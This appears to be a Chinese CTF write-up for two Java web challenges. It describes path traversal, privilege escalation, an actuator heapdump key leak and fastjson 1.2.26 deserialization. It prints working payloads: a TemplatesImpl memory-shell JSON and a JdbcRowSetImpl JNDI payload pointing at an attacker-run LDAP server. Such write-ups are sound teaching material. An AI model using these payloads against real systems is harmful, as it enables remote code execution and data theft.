前言
第一次能在比赛里把 java 题做下来,挺好
Web
简单的仓库
注册一个账号并登录,抓包发现存在 /api/files
path参数可以目录穿越查看目录
/api/recharge 充值接口
此处可以可以直接越权 permission 为 admin,充入足够的钱
开通vip后可以上传文件和任意文件读取
user处是目录位置,/download/ 后跟的是要读的文件名
在 /var/tmp 下发现 flag.txt
日记本
actuator 泄露,swagger 接口泄露,fastjson 反序列化 jdbcimpl 链打 cc
dirsearch 扫出 actuator 和 swagger-ui 泄露
/actuator/heapdump 泄露可以 dump 得到 APP_SECURITY_KEY
swagger-ui 处可以发现一个 /api/auth/v1/register 接口
尝试注册发现被弃用了
测试发现在 /api/auth/v2/register 也有一个注册接口,抽象的是上面是 json 格式传入这里变成了 post 表单
然后去 /api/auth/update 处修改权限为 admin,key 就是前面 dump 下来的 APP_SECURITY_KEY
更新权限完需要重新登录一下
访问 /api/admin/hint 可以得到 app.jar 源码
fastjson 1.2.26,还有 cc3.2.1
那么漏洞点就在 /api/admin/diaries 这里的 JSON.parseObject
1.2.26 版本需要绕过,sprintboot 2.7.6,试图打 Templates 链内存马
{"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["memshell"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b","_version": "1.0","allowedProtocols": "all"}}
本地测试一下,这个打过去报 Autotype is not support 了,寄,但是配置上没问题,仔细一想我好像不能给字节码编码传json(
jdk8u342,尝试 jndi 打 cc 链,yakit 起一个 ldap
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1099/exp", "autoCommit":true}
然后打远程
根据这一段:
@Operation(
summary = "获取hint",
description = "管理员接口:根据条件返回不同文件"
)
@GetMapping({"/hint"})
public void getHint(HttpSession session, HttpServletResponse response) {
if (!this.checkAdminRole(session)) {
try {
response.getWriter().write("无权限访问");
} catch (IOException var6) {
}
} else {
try {
String hint = "Please execute /readflag and then access hint again.";
System.out.println(hint);
File flagFile = new File("/app/F1A9.txt");
File jarFile = new File("/app/app.jar");
if (flagFile.exists()) {
response.setContentType("text/plain");
response.setHeader("Content-Disposition", "attachment; filename=\"F1A9.txt\"");
response.setContentLength((int)flagFile.length());
Files.copy(flagFile.toPath(), response.getOutputStream());
} else {
if (!jarFile.exists()) {
response.getWriter().write("文件不存在");
return;
}
response.setContentType("application/java-archive");
response.setHeader("Content-Disposition", "attachment; filename=\"app.jar\"");
response.setContentLength((int)jarFile.length());
Files.copy(jarFile.toPath(), response.getOutputStream());
}
response.getOutputStream().flush();
} catch (Exception var8) {
Exception e = var8;
try {
response.getWriter().write("获取hint失败:" + e.getMessage());
} catch (IOException var7) {
}
}
}
}
可知需要执行 /readflag,然后 /app 下会有 F1A9.txt,此时再访问 /api/admin/hint 就有 flag 了
感觉预期应该是不出网的直接执行 /readflag 拿 F1A9.txt